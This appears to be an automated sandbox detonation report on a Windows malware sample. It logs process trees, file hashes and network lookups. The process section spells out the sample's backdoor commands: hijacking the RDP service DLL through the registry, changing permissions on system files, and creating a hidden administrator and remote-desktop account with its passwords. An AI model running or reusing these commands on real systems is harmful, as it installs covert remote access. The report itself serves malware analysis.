N/A N/A C:\Windows\system32\timeout.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\icacls.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4992 wrote to memory of 1240 N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe C:\Windows\System32\cmd.exe
PID 4992 wrote to memory of 1240 N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe C:\Windows\System32\cmd.exe
PID 1240 wrote to memory of 2240 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\timeout.exe
PID 1240 wrote to memory of 2240 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\timeout.exe
PID 1240 wrote to memory of 3028 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1240 wrote to memory of 3028 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3028 wrote to memory of 3600 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\takeown.exe
PID 3028 wrote to memory of 3600 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\takeown.exe
PID 3028 wrote to memory of 2388 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 2388 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 2672 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 2672 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 3980 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 3980 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 1840 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 1840 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 4364 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 4364 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 3896 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 3896 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 4460 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 4460 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 3028 wrote to memory of 3908 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 3028 wrote to memory of 3908 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 3028 wrote to memory of 2748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 3028 wrote to memory of 2748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 3028 wrote to memory of 2292 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 3028 wrote to memory of 2292 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 3028 wrote to memory of 1528 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\net.exe
PID 3028 wrote to memory of 1528 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\net.exe
PID 1528 wrote to memory of 4480 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1528 wrote to memory of 4480 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 3028 wrote to memory of 3040 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3028 wrote to memory of 3040 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3040 wrote to memory of 2828 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3040 wrote to memory of 2828 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2828 wrote to memory of 4032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2828 wrote to memory of 4032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 4032 wrote to memory of 4692 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 4032 wrote to memory of 4692 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 3028 wrote to memory of 1020 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3028 wrote to memory of 1020 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1020 wrote to memory of 2996 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1020 wrote to memory of 2996 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2996 wrote to memory of 4828 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2996 wrote to memory of 4828 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 4828 wrote to memory of 4920 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 4828 wrote to memory of 4920 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 3508 wrote to memory of 4536 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\net.exe
PID 3508 wrote to memory of 4536 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\net.exe
PID 4536 wrote to memory of 4984 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 4536 wrote to memory of 4984 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1808 wrote to memory of 3176 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\net.exe
PID 1808 wrote to memory of 3176 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\net.exe
PID 3176 wrote to memory of 3812 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 3176 wrote to memory of 3812 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 2432 wrote to memory of 3388 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\net.exe
PID 2432 wrote to memory of 3388 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\net.exe
PID 3388 wrote to memory of 2468 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 3388 wrote to memory of 2468 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1544 wrote to memory of 2192 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\net.exe
PID 1544 wrote to memory of 2192 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\net.exe
PID 2192 wrote to memory of 1588 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 2192 wrote to memory of 1588 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe

Processes

C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1

C:\Windows\system32\timeout.exe

timeout -t 15

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1

C:\Windows\system32\takeown.exe

"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f

C:\Windows\system32\net.exe

"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr

C:\Windows\system32\cmd.exe

cmd /c net start rdpdr

C:\Windows\system32\net.exe

net start rdpdr

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 start rdpdr

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService

C:\Windows\system32\cmd.exe

cmd /c net start TermService

C:\Windows\system32\net.exe

net start TermService

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 start TermService

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc Ghar4f5 /del

C:\Windows\system32\net.exe

net.exe user wgautilacc Ghar4f5 /del

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc QDbjfZ2f /add

C:\Windows\system32\net.exe

net.exe user wgautilacc QDbjfZ2f /add

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc QDbjfZ2f /add

C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Remote Desktop Users" PKVHMXKI$ /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Remote Desktop Users" PKVHMXKI$ /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" PKVHMXKI$ /ADD

C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc QDbjfZ2f

C:\Windows\system32\net.exe

net.exe user wgautilacc QDbjfZ2f

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc QDbjfZ2f

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
BE 88.221.83.192:443 www.bing.com tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 192.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 107.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 giiahfiejhg.cn udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\nsj4FF6.tmp\blowfish.dll

MD5 5afd4a9b7e69e7c6e312b2ce4040394a
SHA1 fbd07adb3f02f866dc3a327a86b0f319d4a94502
SHA256 053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae
SHA512 f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

C:\Users\Admin\AppData\Local\Temp\nsj4FF6.tmp\System.dll

MD5 fbe295e5a1acfbd0a6271898f885fe6a
SHA1 d6d205922e61635472efb13c2bb92c9ac6cb96da
SHA256 a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1
SHA512 2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

C:\Users\Admin\AppData\Local\Temp\nsj4FF6.tmp\nsUnzip.dll

MD5 77a26c23948070dc012bba65e7f390aa
SHA1 7e112775770f9b3b24e2a238b5f7c66f8802e5d8
SHA256 4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43
SHA512 2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

memory/3028-47-0x00007FFC71143000-0x00007FFC71145000-memory.dmp

memory/3028-48-0x000001D2F9420000-0x000001D2F9442000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q5hghlja.yfm.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3028-58-0x00007FFC71140000-0x00007FFC71C01000-memory.dmp

memory/3028-59-0x00007FFC71140000-0x00007FFC71C01000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\evil.ps1

MD5 b3740c199fd47f917a62e0c426c46934
SHA1 e0d844544c0ca5d83a1c3e32da581e2b7ebb3906
SHA256 b739faf7a9dfc7fe969a4927190f14d176c7e387e280fc970f4414fdf1062134
SHA512 d2f22de404fdfa46affc4bfff83ae5b41733a99e2b5b06722705677ca5d2031ba2f85d86803564e842e161f4e924e1fd245c37f0998b1572c4c772ecd08f4dc5

memory/3028-61-0x00007FFC71140000-0x00007FFC71C01000-memory.dmp

memory/3028-62-0x00007FFC71140000-0x00007FFC71C01000-memory.dmp

C:\Windows\system32\rfxvmt.dll

MD5 dc39d23e4c0e681fad7a3e1342a2843c
SHA1 58fd7d50c2dca464a128f5e0435d6f0515e62073
SHA256 6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
SHA512 5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

memory/3028-78-0x00007FFC71143000-0x00007FFC71145000-memory.dmp

memory/3028-79-0x00007FFC71140000-0x00007FFC71C01000-memory.dmp

C:\Windows\Branding\mediasrv.png

MD5 e816ab93cf35418b3c7ee71296081396
SHA1 8dffeaa3a807215f1f0fc4d4754c1dccf93244c6
SHA256 b7c930b6b289f3f2809fcfdeb270786d6c5c58d062f51fa43eaae33800261260
SHA512 790fa3c5f355e5faf44e94a23fd7e3176260502ceef6a4273578125fa3d52187349e5a982377c04291a15779ef905878d34f61d3e5ee5d3928872608817df524

C:\Windows\Branding\mediasvc.png

MD5 3346c7680c1a724104576721f058f8d6
SHA1 823926453ff44ddd192b2711ade78f2bfc7ebac0
SHA256 a4975203b5fc3a45b75f25bb2b81cac416fd9792dafb5dee9a304e7fea52a5d2
SHA512 23d1d3dfb80d09946bf28a29cc8dbb9236b5c7e92c1cadddfd6e8ba8a8030a63a2e81d64e16b00775b1174207c699e297242ff09cc59a93e594fce408d2ca85e

\??\PIPE\lsarpc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Temp\uninst.dat.log

MD5 e7b46f7dce67f5296ef852ab60c4917d
SHA1 9316e80ad51f832e9c3fe5d92113746410cdd2df
SHA256 d08848d4598be3de7271ed1efecc9eeb97cee86e3a74584567cddefb4dfeaba7
SHA512 0de68099b3f1fb30427a54b44680e288355d5db10a71f4cd6473749d3dccbaf72eac9849e5aaed7fa3c765a332690c7450ec3f56f4bd46b06c8ec571bec96400

C:\Users\Admin\AppData\Local\Temp\11.ps1

MD5 c0fae5b04f67d12ca621200aac5378dc
SHA1 c82c80ff2a2abb57e9a23ac5a100d82c1d551238
SHA256 de678dd80006ed864550a034f48a93bf1cb5a31d706d6f25694f577f7867f2a0
SHA512 27e1c30a1ad0ab381f037eb4313f11c9c7c3eaa78b5893ba0df04cac006a4169c92d3c6f3b09d181c6862491f8793818d0e9becf355b9aa4a70bef199c536ff8

memory/3028-88-0x00007FFC71140000-0x00007FFC71C01000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-16 06:37

Reported

2024-06-16 06:40

Platform

win7-20240220-en

Max time kernel

121s

Max time network

122s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\System.dll,#1

Signatures

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\rundll32.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2064 wrote to memory of 2860 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2064 wrote to memory of 2860 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2064 wrote to memory of 2860 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2064 wrote to memory of 2860 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2064 wrote to memory of 2860 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2064 wrote to memory of 2860 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2064 wrote to memory of 2860 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2860 wrote to memory of 2912 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe
PID 2860 wrote to memory of 2912 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe
PID 2860 wrote to memory of 2912 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe
PID 2860 wrote to memory of 2912 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\System.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\System.dll,#1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2860 -s 220

Network

N/A

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-06-16 06:37

Reported

2024-06-16 06:40

Platform

win10v2004-20240508-en

Max time kernel

51s

Max time network

51s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\System.dll,#1

Signatures

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\rundll32.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2144 wrote to memory of 1472 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2144 wrote to memory of 1472 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2144 wrote to memory of 1472 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\System.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\System.dll,#1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1472 -ip 1472

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1472 -s 612

Network

Files

N/A

Analysis: behavioral7

Detonation Overview

Submitted

2024-06-16 06:37

Reported

2024-06-16 06:40

Platform

win7-20240508-en

Max time kernel

119s

Max time network

119s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsUnzip.dll,#1

Signatures

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\rundll32.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1872 wrote to memory of 2136 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1872 wrote to memory of 2136 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1872 wrote to memory of 2136 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1872 wrote to memory of 2136 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1872 wrote to memory of 2136 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1872 wrote to memory of 2136 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1872 wrote to memory of 2136 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2136 wrote to memory of 2156 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe
PID 2136 wrote to memory of 2156 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe
PID 2136 wrote to memory of 2156 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe
PID 2136 wrote to memory of 2156 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsUnzip.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsUnzip.dll,#1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 224

Network

N/A

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-06-16 06:37

Reported

2024-06-16 06:40

Platform

win7-20240611-en

Max time kernel

140s

Max time network

119s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\blowfish.dll,#1

Signatures

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\rundll32.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2024 wrote to memory of 2016 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2024 wrote to memory of 2016 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2024 wrote to memory of 2016 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2024 wrote to memory of 2016 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2024 wrote to memory of 2016 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2024 wrote to memory of 2016 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2024 wrote to memory of 2016 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2016 wrote to memory of 2856 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe
PID 2016 wrote to memory of 2856 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe
PID 2016 wrote to memory of 2856 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe
PID 2016 wrote to memory of 2856 N/A C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\WerFault.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\blowfish.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\blowfish.dll,#1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2016 -s 224

Network

N/A

Files

memory/2016-0-0x0000000000400000-0x000000000040C000-memory.dmp

Analysis: behavioral6

Detonation Overview

Submitted

2024-06-16 06:37

Reported

2024-06-16 06:40

Platform

win10v2004-20240611-en

Max time kernel

138s

Max time network

140s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\blowfish.dll,#1

Signatures

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\rundll32.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2152 wrote to memory of 2528 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2152 wrote to memory of 2528 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2152 wrote to memory of 2528 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\blowfish.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\blowfish.dll,#1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2528 -ip 2528

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2528 -s 612

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4544,i,8660989700097327804,17931739887231169645,262144 --variations-seed-version --mojo-platform-channel-handle=4256 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
